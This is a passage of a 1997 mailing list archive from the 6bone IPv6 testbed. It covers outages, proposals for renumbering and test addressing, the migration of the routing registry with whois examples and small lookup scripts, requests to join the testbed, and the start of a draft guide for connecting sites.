From majordom@ISI.EDU  Fri May 23 22:07:02 1997
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Date: Fri, 23 May 1997 21:07:02 +0100
To: 6bone@isi.edu
From: Ben Crosby <ben@tellus.co.uk>
Subject: ATTN: UK SITES ONLY (You've been warned... =))
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Hi all,

	You may well remember that I have a couple of mailing 
lists running. Thats to say that they were running until my
harddisk died. 

	Among other things, I have a new machine, and DAT drive
to backup to =), as well as the domain "6bone.org.uk" registered.

	The two new mailing lists will be;

	academics@6bone.org.uk	(ip6ac list)
	sites@6bone.org.uk		(uk6bone list)

	Please take a moment to send a message to me on 
ben@tellus.co.uk and let me know which of the two lists you want 
to be on, the address you want mail sent to, and a note of 
wether the address is either V4 or v6.

	The archives from the list will be available, probably by ftp
and over the web.	

	I'll shortly have a publically accessible news server running
on news.6bone.org.uk, available via v4 or v6.

	Those people that want mail forwarding, or any other service 
under this domain should mail me suggestions.

	On a slight sidestep, I'll be contacting all the sites I have 
tunnels with to inform them of changes in routing and addresses at 
this end. I hope this is the last of any major changes, my apologies
for the disruption.

	Cheers,

		Ben.


From majordom@ISI.EDU  Mon May 26 13:40:08 1997
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To: 6bone@isi.edu
Subject: FYI: SURFNET/NL down until tonight
From: Erik-Jan Bos <erik-jan.bos@surfnet.nl>
X-Organization: SURFnet bv, Utrecht, The Netherlands
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6boners,

our (SURFNET/NL) node Amsterdam9.ipv6.surfnet.nl will be down until
tonight for doing a hardware swap. Sorry for any inconvenience this will
cause.

FYI.

__

Erik-Jan.

From majordom@ISI.EDU  Tue May 27 01:00:26 1997
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Date: Tue, 27 May 1997 00:00:26 +0100
To: 6bone@isi.edu
From: Ben Crosby <ben@tellus.co.uk>
Subject: USOT-ECS Network Changes...
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Hi all,

	Due to a move across capmus, we're having to change
nearly all of our ipv6 network. If this doesn't affect you,
please excuse the mail.

	USOT-ECS will be down probably until late Wednesday
evening, or early thursday morning,(London time).

	During this downtime, a new domain name server will
be brought online, which will also house the majordomo
list server that has been running here.

	The site prefix is changing from 5f03:1200:984e:4100
to 5f03:1200:984e:7200, and the gateway endpoint address will
also be changing. We'll be contacting our tunnel sites 
directly over the next day or two.

	The updated ripe record will be in place later today.

	Many thanks,

	Ben.


From majordom@ISI.EDU  Wed May 28 15:57:53 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970528135753.ZM2552@rama.imag.fr>
Date: Wed, 28 May 1997 13:57:53 +0200
In-Reply-To: Bob Hinden <hinden@Ipsilon.COM>
        "(IPng 3717) Re:  proposal for RFC-1897 update" (May 27,  2:40pm)
References: <3.0.1.32.19970527144011.0077b118@mailhost.ipsilon.com>
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To: 6bone@isi.edu, Bob Hinden <hinden@ipsilon.com>,
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Subject: Re: (IPng 3717) Re:  proposal for RFC-1897 update
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On May 27,  4:38pm, Frank T Solensky wrote:
> Subject: (IPng 3714) proposal for RFC-1897 update
> Folks --
> 	In order to support a 64-bit End System Designator, we'll have to
> modify the way that we're generating IPv6 test addresses.  We also want to
> renumber the addresses on the 6bone soon so that we can realize better route
> aggregation on the nodes which are providing the backbone service to the rest
> of the net.
> 	The address format I'd like to propose is the following:
>
>    5FFC:vvvv:nnnn:nnnn:eeee:eeee:eeee:eeee
>
> "5f": from RFC-1897,
> "fc": Guidelines for Creation of an AS (RFC-1930) states that AS numbers
>       0xFC00-0xFFFF are reserved, so we can avoid colliding with addresses
>       generated by RFC-1897 by using a value out of the reserved space.
>       The values 'fd'-'ff' can be used for a future IPv6 address generation
>       procedure we may need to use in the future without falling out of the
>       '5f' address space.
> vvvv: 16-bit virtual AS number.  The sites that are acting as IPv6 ISPs
>       would be assigned a constant value, nodes connecting though the ISP
>       would use the same virtual AS number as the IPv6 ISP instead of the
>       AS number used for IPv4 connectivity.  Should a site become dual-
>       connected relative to the 6-backbone, it would then have addresses
>       under both virtual AS number.
> nnnn:nnnn:  32-bit IPv4 network number.  The site's left-justified IPv4
>       (sub)network number, allows networks smaller than /24 to define their
>       IPv6 address.
> eeee:eeee:eeee:eeee: 64-bit End System Designator.


On May 27,  2:40pm, Bob Hinden wrote:
> Subject: (IPng 3717) Re:  proposal for RFC-1897 update
> Frank,
>
> I just submitted a new version of "IPv6 Testing Address Allocation" which
> allows test address to be formed based on the new aggregatable address
> formats and 64bit identifiers.  If the 6bone folks wish to do something
> more short term, your proposal looks fine to me.


I've just read Bob proposal (draft-ietf-ipngwg-test-addr-alloc-01.txt).
Sounds like a very good start to me for the new addressing plan of the 6-bone.
If our registry can allocate  NLAs (possibly to core 6bone sites), I think
we can move very quickly to this new addressing plan.

	- Alain.



From majordom@ISI.EDU  Wed May 28 09:32:10 1997
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From: davidk@isi.edu
Posted-Date: Wed, 28 May 1997 16:32:10 -0700 (PDT)
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Subject: Re: (IPng 3717) Re:  proposal for RFC-1897 update
To: Alain.Durand@imag.fr (Alain Durand)
Date: Wed, 28 May 1997 16:32:10 -0700 (PDT)
Cc: 6bone@isi.edu, hinden@ipsilon.com, solensky@ftp.com
In-Reply-To: <970528135753.ZM2552@rama.imag.fr> from "Alain Durand" at May 28, 97 01:57:53 pm
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Alain,

Alain Durand writes:
> 
> I've just read Bob proposal (draft-ietf-ipngwg-test-addr-alloc-01.txt).
> Sounds like a very good start to me for the new addressing plan of the 6-bone.
> If our registry can allocate  NLAs (possibly to core 6bone sites), I think
> we can move very quickly to this new addressing plan.

Our new registry can do this without any modification (check out 'whois
-h brind.isi.edu -t inet6num)', however we first need to figure out a
policy on who's getting (sub) NLAs, who's getting SLAs and how big the
(sub) NLAs will be.

David K.
---

Example (abbreviated) objects:

The 'mnt-by' attribute controls modification of the object itself, the
'mnt-lower' attribute controls *creation* of any new object directly
below itself in the address space tree and can thus be used to build a
delegation tree.

inet6num:  0::0/0
mnt-by:    IANA
mnt-lower: IANA

inet6num:  3FFE::0/16
mnt-by:    BobFink
mnt-lower: BobFink

inet6num:  3FFE:XXXX:YYYY::0/48
mnt-by:    BackBoneAdmin
mnt-lower: BackBoneAdmin

inet6num:  3FFE:XXXX:YYYY:ZZZZ::0/64
mnt-by:    SiteConnectedToBackBoneAdmin
mnt-lower: SiteConnectedToBackBoneAdmin

---

From majordom@ISI.EDU  Wed May 28 10:11:40 1997
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Date: Wed, 28 May 1997 17:11:40 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new web pages for 6bone
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I've added two new items to our web pages.

On the tools page:

	http://www.6bone.net/6bone_tools.html

I've added Stephane Bortzmeyer's tool for traceroute from the Pasteur
Institute.


Also have created a new page for other IPv6 web sites:

	 http://www.6bone.net/6bone_other-sites.html

The first page pointed to is the Lancaster Univ. IPv6 home page.


If you want other things added, please send them to me.


PLEASE NOTE I'M ABOUT TO LEAVE FOR VACATION (WILL BE GONE MAY 31 THRU JUNE
23) AND THUS WILL NOT HANDLE ANYTHING RECEIVED AFTER 10AM MY TIME FRIDAY
THE 30TH OF MAY.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 29 00:55:25 1997
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Date: Thu, 29 May 1997 07:55:25 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new IPv6 web pages added to 6bone pages
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I've added ipng.net and ticl.co.uk IPv6 web page pointers to the other IPv6
web page.

	http://www.6bone.net/6bone_other-sites.html


Thanks,

Bob



From majordom@ISI.EDU  Thu May 29 06:54:53 1997
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Date: Thu, 29 May 1997 13:54:53 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 76
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new 6bone diagram - version 76

http://www.6bone.net/6bone-drawing.html


	add UNI-GOETTINGEN-MRZ/DE to JOIN/DE


Welcome to the Medical Informatics group, Univ. of Goettingen, Goettingen,
Germany


Thanks,

Bob



From majordom@ISI.EDU  Thu May 29 07:04:11 1997
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Date: Thu, 29 May 1997 14:04:11 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 20
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new 6bone backbone links diagram - version 20

http://www.6bone.net/6bone-bblinks.html

   change static links to RIPng for CSELT/IT to ESNET/US, G6/FR, and SICS/SE

   new RIPng link from CSELT/IT to ISI-LAP/US and TELEBIT/DK


Only two static links left in the backbone!


Thanks,

Bob



From majordom@ISI.EDU  Thu May 29 10:57:32 1997
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Date: Thu, 29 May 1997 17:57:32 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new RIPE-style routing registry conversion
Cc: davidk@ISI.EDU (David Kessens)
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David Kessens is getting ready to move the FTP-sytle RR (routing registry)
from RIPE-NCC to ISI.

As I will be on vacation from now until 24 June, it will be in David's
hands to notify the list and of course to carry out the conversion (I'm of
little help on this part anyway :-).

So please address all queries on this to David at:

	davidk@ISI.EDU (David Kessens)


I'm sure he will put something on the 6bone mail list real soon now.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 29 10:53:24 1997
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Subject: new (and final till 24 June) 6bone diagram - version 77
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new (and final till 24 June) 6bone diagram - version 77

http://www.6bone.net/6bone-drawing.html

	move ASCI/US from CISCO to NRL/US

	add TORRENT/US to NRL/US


Welcome to Torrent Networking Technologies Corp.
Landover, Maryland USA


ALSO, PLEASE NOTE I'M ON VACATION FROM NOW TILL 24 JUNE, SO NO EMAIL OR
DIAGRAM CHANGES TILL 24 JUNE...SAVE THEM UP :-)


Thanks,

Bob



From majordom@ISI.EDU  Fri May 30 01:01:06 1997
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Date: Fri, 30 May 1997 08:01:06 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: DRAFT 6bone [AGGR] [TEST] usage
Cc: Bob Hinden <hinden@ipsilon.com>, Steve Deering <deering@cisco.com>,
        postel@isi.edu (Jon Postel), Bob Fink <RLFink@lbl.gov>
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6bone Folk,

================================================================================
NOTE:  The following is being put out a little prematurely as I'm leaving
on vacation as I write this (31 May thru 23 Jun) and won't be able to even
see the responses till 24 June.  Nonetheless, I felt that it was important
to not have everyone wondering what we do next on the 6bone with the new
[AGGR] and [TEST] drafts that have just come out...   so here is something
for your comment!.

I'll ask Bob Hinden to moderate this (if he is so willing) given he is the
principal author of both [AGGR] and [TEST].


Have a good time... I will :-)
================================================================================


Now that the new IPv6 Aggregatable Unicast Address Format [AGGR] is published,

ftp://ds.internic.net/internet-drafts/draft-ietf-ipngwg-unicast-aggr-00.txt

and the new Testing Address Allocation Internet Draft [TEST] is available,

ftp://ds.internic.net/internet-drafts/draft-ietf-ipngwg-testv2-addralloc-00.txt

it is time for some planning on how to use them appropriately for the 6bone.

I approach this with the overarching goal of having the 6bone do as much as
possible to advance IPv6, and that at this moment this means testing the
new [AGGR] addressing format using [TEST] and the related notions of site
renumbering.


The address format in [TEST] assigns a TLA to the 6bone (0x1FFE which looks
like 0x3FFE when the Format Prefix 001 is included) to be used to emulate
an addressing hierarchy similar to what might occur in real production use.

I would propose that we use the NLA* field as shown below:

         |3|   13    |  8  |     24      |   16   |    64 bits      |
         +-+---------+-----+-------------+--------+-----------------+
         |  0x3FFE   |NLA1 |     NLA2    |  SLA*  | Interface ID    |
         +-+---------+-----+-------------+--------+-----------------+

NLA1 would be our TLA equivalent, that is, up to 256 Backbone sites acting
as our version of TLAs.  I doubt that we would have more than 256 backbone
sites, but if we got close to that we could practice our implementation of
TLA assignment requirements (see [AGGR]).

NLA2 would be assigned by the NLA1 authorities as they wish, but with a
recommended downward delegation structure based on [AGGR].  The following
is extracted from [AGGR], and modified for NLA level.

         |  n  |      24-n bits     |   16   |    64 bits      |
         +-----+--------------------+--------+-----------------+
         |NLA2 |       Site         |  SLA*  | Interface ID    |
         +-----+--------------------+--------+-----------------+

               |  m  |    24-n-m    |   16   |    64 bits      |
               +-----+--------------+--------+-----------------+
               |NLA3 |    Site      |  SLA*  | Interface ID    |
               +-----+--------------+--------+-----------------+

                     |  o  |24-n-m-o|   16   |    64 bits      |
                     +-----+--------+--------+-----------------+
                     |NLA4 |  Site  |  SLA*  | Interface ID    |
                     +-----+--------+--------+-----------------+


The NLA delegation works in the same manner as CIDR delegation in IPv4
[CIDR].  NLA1s are required to assume registry duties for the NLAs below
them, NLA2s for those below them, etc.


At this time I would propose a nominal usage for our current 6bone topology
that only has one level below a backbone site that looks like:


         |  8  |        16 bits     |   16   |    64 bits      |
         +-----+--------------------+--------+-----------------+
         |NLA2 |       Site         |  SLA*  | Interface ID    |
         +-----+--------------------+--------+-----------------+

Then the transit (intermediate backbone) site would sequentially assign
Site IDs, or use ASN numbers as long as they are unique in the NLA.

If there was no transit site between the backbone and leaf site, then the
NLA2 field would be set to zeros.

As an example of this, assuming a backbone NLA1 of 0x01 for our first
backbone site, no transit thus an NLA2 of 0x00, and a sequential site ID
(with start at the right edge numbering) of 0x0001, the routing prefix for
the first site would look like:

        3FFE:0100:0001/48
 6bone _|||| |||| ||||__site
             ||||
 b/b site____||||
               ||
 transit_______||


Another example of this, assuming the same backbone NLA1 of 0x01 and a
transit site under it (with start at the left edge numbering) with an NLA2
of 0x80, and a sequential site ID of 0x0001, the routing prefix for the
first site would look like:

        3FFE:0180:0001/48
 6bone _|||| |||| ||||__site
             ||||
 b/b site____||||
               ||
 transit_______||


Note 1: the two sites numbered 0x0001 in the above examples are really two
different sites as their NLA2 authority above them is different.

Note 2: there would be nothing to prevent an NLA2 transit site from further
allocating NLA3s below, but that becomes the policy of it and the NLA1
above them to work out (as the width of the NLA2 field needs to be clear if
this is done).


I would propose assigning NLA1 code points to all existing 6bone backbone
sites, then backbone sites would assign leaf and transit site codes as
these sites apply for them.  The first group to request them would
presumably be the existing transit and leaf sites under them.


Address Registries

Every NLA must keep a registry of the assignments that it has made in a
form that is web viewable (I will suggest a format for this later).  In
addition, NLAs must provide downward web pointers to the NLAs below them.
Only leaf sites need not provide a registry (their DNS will suffice).

[David Kessens can help automate a registry with his RIPE-style RR db at
ISI, but I don't want to try to arbitrate that myself at this time.  Maybe
David can discuss this more on the list.]


Transition from the existing RFC 1897 test address space to the new AGGR format

Obviously a transition from the RFC 1897 test addresses to the new [TEST]
format has to be worked out.  One problem is that it will be a slow process
to get all the implementations modified to support [AGGR], which in
particular means support for EUI-64.  So, if we don't want to have a
modified [AGGR] that supports the existing 48-bit form of usage, we can't
move to [AGGR] till EUI-64 is implemented.

This means we will need to route between the two forms of addresses in a
transition mode, which shouldn't really be hard as the routing is really
done on prefixes with specified lengths.

Therefore, I believe we leave the 6bone current addressing as is, don't
allow new RFC 1897 form addresses, assign NLA1s to the current backbone
sites, and assume these backbone sites will know how to handle being
addressed with two IPv6 address forms (RFC 1897 and [AGGR]).


Multihoming

I would suggest that for now we not have multihomed sites.  We could later
figure out how to try out exchanges and then do multihomed in that context.

Sites that want to multihome now would get multiple prefixes.


FINAL NOTE:

I realize some of the above (hopefully not all) may be half baked...for
that I apologize.  Let's start discussing how to move the 6bone into [AGGR]
using [TEST] in the spirit of the grandly cooperative project we have all
been co-participating in... it's been fun so far (at least for me), so
let's keep the cooperative, friendly, exciting spirit of the 6bone going!


Regards,

Bob


-end



From majordom@ISI.EDU  Fri May 30 01:47:34 1997
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Date: Fri, 30 May 1997 08:47:34 -0700
To: Bob Fink <RLFink@lbl.gov>
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: DRAFT 6bone [AGGR] [TEST] usage
Cc: 6bone@isi.edu (6BONE Mailer), Bob Hinden <hinden@ipsilon.com>,
        Steve Deering <deering@cisco.com>, postel@isi.edu (Jon Postel),
        Bob Fink <RLFink@lbl.gov>
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Bob,

>I'll ask Bob Hinden to moderate this (if he is so willing) given he is the
>principal author of both [AGGR] and [TEST].

I will do my best.

>Have a good time... I will :-)
>===========================================================================
===

Have a great vacation!

Bob


From majordom@ISI.EDU  Mon Jun  2 11:53:23 1997
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Date: Mon, 02 Jun 1997 10:53:23 +0100
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Dear All,

I'm looking into getting CableInternet attached to the 6Bone, what is
the procedure/steps for doing so?
Do I need to register with RIPE first?
Our likely attachment point is likely to be via UUNET.


Regards,

Steve Wadge,
Data Network Engineer
Tel: 01483 750900.

From majordom@ISI.EDU  Mon Jun  2 04:36:04 1997
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: (IPng 3717) Re: proposal for RFC-1897 update
In-Reply-To: "28 May 1997 13:57:53 +0200." <"970528135753.ZM2552"@rama.imag.fr>
To: 6bone@isi.edu
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Alain says:
> I've just read Bob proposal (draft-ietf-ipngwg-test-addr-alloc-01.txt).
> Sounds like a very good start to me for the new addressing plan of the
> 6-bone.  If our registry can allocate NLAs (possibly to core 6bone sites), I
> think we can move very quickly to this new addressing plan.

I'd like to get an NLA for a Chicago-area research exchange called MREN,
which is actually on the same switch as the Chicago NAP.  I'm just back
from vacation, but I think a TLA has been chosen for 6bone use already.
Has someone taken on the delegation task?  (Or is it being delegated?)

				Matt

From majordom@ISI.EDU  Mon Jun  2 20:14:30 1997
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Date: Mon, 2 Jun 1997 19:14:30 +0100 (BST)
From: Guy Davies <guyd@uunet.pipex.com>
To: Steve Wadge <s_wadge@cableinet.net>
Cc: 6bone@isi.edu
Subject: Re: 6Bone attachment.
In-Reply-To: <33929813.59E2@cableinet.net>
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Hi Steve,

You're welcome to have a tunnel to us.  If you use RIPng or static
routing, we prefer that you connect solely via UUNET (you should see the
mess multihoming with RIPng is causing).  If you're using BGP4+, you're
welcome to multihome :-)

Contact ipv6@uunet.pipex.com for connection details.  I'm out of the
office tomorrow (Tuesday) so it may be Wednesday before I can get back to
you.

You can setup a RIPE entry once we're connected.

Regards,

Guy

On Mon, 2 Jun 1997, Steve Wadge wrote:

> Dear All,
> 
> I'm looking into getting CableInternet attached to the 6Bone, what is
> the procedure/steps for doing so?
> Do I need to register with RIPE first?
> Our likely attachment point is likely to be via UUNET.
> 
> 
> Regards,
> 
> Steve Wadge,
> Data Network Engineer
> Tel: 01483 750900.
> 


From majordom@ISI.EDU  Tue Jun  3 04:09:46 1997
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Subject: 6BONE down?
To: 6bone@isi.edu
Date: Tue, 3 Jun 1997 02:09:46 +0200 (MET DST)
From: Rafal Maszkowski <rzm@torun.pdi.net>
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Having persisting problems with routing to NRL I tried to look around
and hand-made the following table showing backbone sites reachability.

1st columnt contains a list of all backbone sites according to
	http://www-6bone.lbl.gov/6bone/6bone-bblinks.html
1st row lists the sites doing measurements, 2nd row - backbone sites
	they are connected to.
Measurements are from different hours but more less Jun 2nd/3rd evening/night
MET.

'x' means reachable
'-' no measuments done

The is a lot of sites completely down and some important ones appearing
and disappering, like UUNET-UK (I couldn't get from PDi to UCAM-T today
but now the route via UUNET-UK is back). Another site, important for
a linuxer is NRL (and ftpV6 archive at Inner). It seems to be down
completely.

Because the table consist mostly of holes I'd like to start with e.g.
NRL - has anybody seen a route to it? What are good methods to find
problems in 6BONE? - I imagine that publishing raw routing table dump
for all backbone sites, via ftp or WWW (or running public SNMP) would
help a lot.

R.

#who            JOIN    NIST    TU-BS   CRS4    CSELT   PDiT    UCAM-T
#via                    NRL,G6  JOIN    CSELT?          SICS    IFB,UUNET-UK
UNI-C           x       x                               x
TELEBIT         x       x                       x       x
SICS            x       x                       x       x       x
G6              x       x                       x       x       x?
JOIN            x       x                       x       x
WIDE                    x?
SURFNET                                         x
ESNET                                           x
CICNET
ISI-LAP
NWNET           x       -                       x       x
VIAGENIE
CISCO
ANSNET
IFB                     -                       x       x
NRL                     -
CSELT           x                               x               ?
UUNET-UK                                                x
DIGITAL-CA      x                               x       x       x
BAY             x                               x       x

R.
-- 
Rafal Maszkowski rzm@torun.pdi.net           http://www.torun.pdi.net/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec

From majordom@ISI.EDU  Wed Jun  4 05:47:35 1997
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Date: Wed, 4 Jun 1997 12:47:35 -0700 (PDT)
From: "Rick H. Wesson" <wessorh@ar.com>
To: 6bone@isi.edu
Subject: need tunnle to connect to 6bone
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Hi,

I have been tasked with connecting Organic Online (organic.com) to
the 6bone. We are currently connected to the internet via UUnet.
Could anyone provide us a tunnle?

I can also be reached via rick@organic.com

Thanks,

-Rick

===================================================================
Rick H. Wesson				Internet Business Services
rick@ar.com


rom majordom@ISI.EDU  Wed Jun  4 05:39:32 1997
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Hello,

  I think SGI is ready to look into attaching to 6bone.  I guess Cisco
(6bone-router.cisco.com) is the most likely attachment point.  Please
let me know if this is correct.  A list of the procedure to attach would
be helpful too.  Thanks.



From majordom@ISI.EDU  Wed Jun  4 07:17:34 1997
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From: davidk@isi.edu
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Subject: new RIPE-style routing registry conversion
To: 6bone@ISI.EDU
Date: Wed, 4 Jun 1997 14:17:34 -0700 (PDT)
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Hi,

I am ready to do the conversion to the new registry as already announced
earlier by Bob.

I would like to carry out this operation during this weekend if there are
no objections.

I will try to convert the data as best as possible using some smart
scripts and manual editing but please realize that it is not always
possible due to lack of consistency in the current data set and the
already quite large number of objects. I would like to ask if everybody
could check their data in the new registry after the conversion is
completed and update any data that is incorrect. Don't hesitate to send
me questions if you have problems doing so, but please with this until I
send an announcement that the conversion has been completed.

I will send out a mail after the conversion has been done with full
details and pointers to information on how to work with the new registry.
In the mean time, check out: http://www.isi.edu/~davidk/6bone/ for a
preview of the new registry. Note that updates to the current test
registry will stop working soon due to the switchover to our new
dedicated machine (whois.6bone.net).

David K.
---

From majordom@ISI.EDU  Fri Jun  6 01:34:44 1997
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From: "T. Hamdi" <thamdi@rocketmail.com>
Subject: Beginner need help
To: 6bone@isi.edu
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Hello,
Can someone tell me wich steps to follow to hook to the 6bone ?
i have a machine with and ipv6 kernel (solaris) wich asked me some
adresses to start ipv6'ing.
Thanks in advance.






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From majordom@ISI.EDU  Mon Jun  9 00:28:41 1997
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Date: Sun, 08 Jun 1997 16:28:41 +0800
To: 6bone@isi.edu
From: Jeng-hung Tsai <b82072@ccstudent.ee.ntu.edu.tw>
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Hello,
 
      I am looking for a connecting point to 6bone.

      I am in Taiwan. What is the most appropriate site for me?




Jeng-hung Tsai, 6/8

From majordom@ISI.EDU  Sun Jun  8 16:29:15 1997
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From: davidk@isi.edu
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Subject: New registry operational
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Hi all,

As announced last week, I have now converted all 158 (!) 6BONE ftp
registry files to the new registry format. Some parts of entries could
not be converted correctly due to some inconstencies in the old data set.
Please update these entries yourself if you find that to be the case.

Check out http://www.6bone.net/RIPE-registry.html on how to update
entries in a RIPE style database. For those of you that are already
familiar with this type of databases, send your updates to
auto-dbm@ISI.EDU.

Most inconsitencies had to do with reverse DNS not working or missing
protocol information in the tunnel fields. Please check my latest draft
on how the entries should look like:

http://www.isi.edu/~davidk/6bone/draft-ietf-ngtrans-6bone-registry-02.txt

Feel free to contact me directly if you find inconsistencies that you
cannot solve yourself or suspect a bug in this quite new piece of
software.

You can query the database at whois.6bone.net with any 'whois' tool or
even 'telnet whois.6bone.net whois'. However, you can also download a special
version of 'whois' for better results (with special 6BONE support):

http://www.isi.edu/~davidk/6bone/ripe-whois-tools-3.0.0+6bone-extensions.tar.gz

A simple webinterface is also available at:

http://www.isi.edu/~davidk/6bone/whois.html

The special whois client (including the webinterface) has a very nice new
feature that can handle references to external objects. This means that
it can now resolve RIPE or InterNIC NIC handle references which allows
you to use your existing NIC handle in the 'contact:' field. (for an
example: try a lookup for SWITCH)

Another feature can assist you in finding a topological nearby ipv6-site:

$ whois -h whois.6bone.net -i origin AS1835

will give you all ipv6-sites that have AS1835 as their origin AS.


And 

$ whois -h whois.6bone.net -r -i tunnel unvea.denet.dk

will give you all objects that have 'unvea.denet.dk' in their tunnel
specification.


And

$ whois -h whois.6bone.net 5F07:2B00::/128

will give you the site that is possibly using this IPv6 address.


A full dump of the database plus serial number is made available daily at:

ftp://whois.6bone.net/6bone/6bone.db.gz

The copyright message in the file is solely to scare spammers and other
abusers. It can be used to do queries that are not supported by the whois
interface or people that want to run a local mirror. We plan to have an
official backup site at LBL and several mirrors around the world for
which we already have several volunteers. We will inform you on the list
when they come available.

I will try to get the documentation up to date as soon as possible and
will ask RIPE to close down the old FTP style registry. The data in that
registry will still be available in case you need it:

ftp://whois.6bone.net/6bone/old_RIPE_ftp_registry.tar.gz

I hope this helps,

David K.
---

PS1 Two useful scripts that people asked for in the past

PS2 RIPE database configuration for those of you that are already running
    the RIPE database software and want to configure it to run a mirror
    site

---

#!/bin/sh

#
# this script finds the first host
# in the 6bone registry that is providing
# a specific service
#
# example usage:
#
# $ ping6 `applicationhost uunet-uk ping`

whois -h 6bone -r $1 | \
awk '{if (($1 == "application:") && \
          ($2 == "'$2'") && \
          (!i)) { \
      print $3; i=1 \
     }}'
                          
# end of script

---
#!/bin/sh
#
# host6 lists the DNS name and IPv4 & IPv6 address of a host
#
# example: host6 unvea.denet.dk
#
# It uses the 'host' tool by Eric Wassenaar
#
# get it from: ftp://ftp.nikhef.nl/pub/network/host.tar.Z
#              (the directory also includes some other very good
#               replacement of traceroute and other networking tools)
#
echo Name: $1
host -t A $1 2>&1 | awk '{ if ($3 ~ /[0-9]/) { print "IPv4 address:", $3 } }'
host -t AAAA $1 2>&1 | awk '{ if ($3 ~ /\:/) { print "IPv6 address:", $3 } }'
# end of script
---

RIPE database configuration file:

ATTR    is      ipv6-site       CLASSLESS
ATTR    lo      location
ATTR    pf      prefix          i6
ATTR    ap      application
ATTR    tl      tunnel
ATTR    ct      contact         pn,ro
ATTR    ul      url

#       ipv6-site
#
OBJ     is      ATSQ    is or de lo cy pf ap tl ct rm ul ny mb ch so
OBJ     is      MAND    is or de cy pf ct ch so
OBJ     is      MULT    lo de cy pf ap tl ct rm ul ny mb ch
OBJ     is      UNIQ    is
OBJ     is      KEYS    is pf
OBJ     is      REC     ct pf

---

From majordom@ISI.EDU  Sun Jun  8 23:03:12 1997
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From: "T. Hamdi" <thamdi@rocketmail.com>
Subject: TUNNEL NEEDED
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Hello,
i think my last message was lost so here's another.
All i need is someone setting a tunnel for me.
we are have a sprint link to the usa.
can someone help me please ?






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From majordom@ISI.EDU  Mon Jun  9 05:45:44 1997
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From: "Harrington, Dan" <dth@lucent.com>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: Connecting to 6bone guidelines (*VERY* rough draft)
Date: Mon, 9 Jun 1997 09:45:44 -0400
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Hello all,

The enclosed is a preliminary (and incomplete) draft of a document
which I had envisioned as a web page for www.6bone.net, as a sort of
FAQ (in non-Q/A format).  Bob Fink reviewed the outline, and had
suggested that it might be a worthwhile I-D for the 6bone group as
well.  In any event, the flurry of mail messages from folks wanting
to connect to the 6BONE made me decide to throw this out to the
group now, incomplete or not, for feedback.  What I would like to
get from reviewers are:

	- low-level review for accuracy, clarity, grammar, etc.
	- suggestions for additional material, topics, expansion...
	- comments on applicability of this as an Internet-Draft

Thanks,

Dan
======================================================================

Q: Style question..."6BONE" or "6bone"?

NB: Using new registry and addressing plan info, although neither is
    yet operational.  (OK, David, you made a liar of me... :-)

Introduction:

This document is an attempt to provide guidance for those wishing to
participate in the ongoing 6BONE experiment.  The 6BONE is a virtual
network of IPv6-capable systems, which utilizes the world-wide
connectivity of the Internet to link researchers, developers and
users of IPv6.  The scope of work on this testbed is varied and
variable, but the overriding focus is to develop protocols and
applications related to the IPv6 deployment.  For further details
about the 6BONE, including how to join the 6BONE user mailing list,
please see the official Web site at http://www.6bone.net/.

In the following sections, we will review the steps required to
connect to the 6BONE.  These steps have been organized as a series
of stages:  Planning, Training, and Deployment.  Please keep in mind
that these are fairly arbitrary stages, meant mainly to organize
the data in the document, but it may also help to organize you as
you proceed.

Finally, this document is only as useful as the information it 
contains.  If you have any suggestions regarding content or style,
and especially if you discover any errors, please contact the author
with your comments.  Thank you.

Planning
========

The most important (and possibly the most time consuming) step you will
take on the road to 6BONE connectivity is that of planning what  you
will
do.  If you organize yourself at the beginning of the task, you will
find
that the completion of the task is smooth and simple.  So even if you
have
to get connected to the 6BONE this minute, and not a moment later,
please
take the time to review the following items;  you just might save
yourself
some effort and frustration!

The first thing to consider before connecting to the 6BONE is what you
will
do when you get there.  The 6BONE is a test network, made up almost
entirely
of prototype software in various stages of development.  It is not a
final
destination really, but a road towards a future Internet.  And this
particular road is not a superhighway, but more like the first road to a
pioneer community, somewhat bumpy, full of adventure and peril, and
populated by intrepid travelers.  Before you start down this road you
should
form some idea of where you want to end up.  The reason need not be
deeply
profound!  You may be a network operator who plans to support this new
family of protocols for your users or customers, and need to gain
operational experience with the new addressing formats and new tools.
Or you may be a researcher or developer working on a new protocol or
application.  You may merely be driven to use the newest technology, and
to figure out new tools and techniques.  In any event, welcome! It's not
important what your purpose is on the 6BONE, but rather that you have
one.

The next issue to consider is what type of network you are planning to
support.  It may be a small set of systems under your direct control, or
it could be a larger set of disperse systems within your larger network.
The mechanisms you will use to coordinate activities in these distinct
environments will be rather different.  The amount and type of internal
infrastructure you will require must take into consideration the types
of
users (naive or experienced), the systems and software you plan to
deploy
(homogeneous vs. completely mixed), and the management style used in
your
network (centrally controlled vs. distributed autonomy).  In any event
you
should maintain mailing lists, telephone lists, and supported procedures

for regularly scheduled events in your network. [This last bit doesn't
seem clear...try to clarify, Dan]

Finally, the type of 6BONE connectivity you plan
will dictate the level of support you will dedicate to this activity.
The
6BONE currently supports three levels of hierarchy, with leaf sites
having
or more connections into the 6BONE, purely for their own reachability.
Transit sites, as their name indicates, permit data to travel through
their site from leaf networks, in addition to terminating their own 
communications.  The highest levels of support would be required for
core
sites, which maintain the 6BONE's backbone connectivity with a high
proportion of other core sites in addition to providing access to one or
more transit or leaf sites. This breakdown of the 6BONE hierarchy can be
seen in the current 6BONE map, at
http://www.6bone.net/6bone-drawing.html.

Another important aspect of planning will be to determine what software
you will be using in your network.  There are a number of different
packages
available for evaluating IPv6, ranging from freely-available source code
for popular UNIX implementations to commercially available kits for both
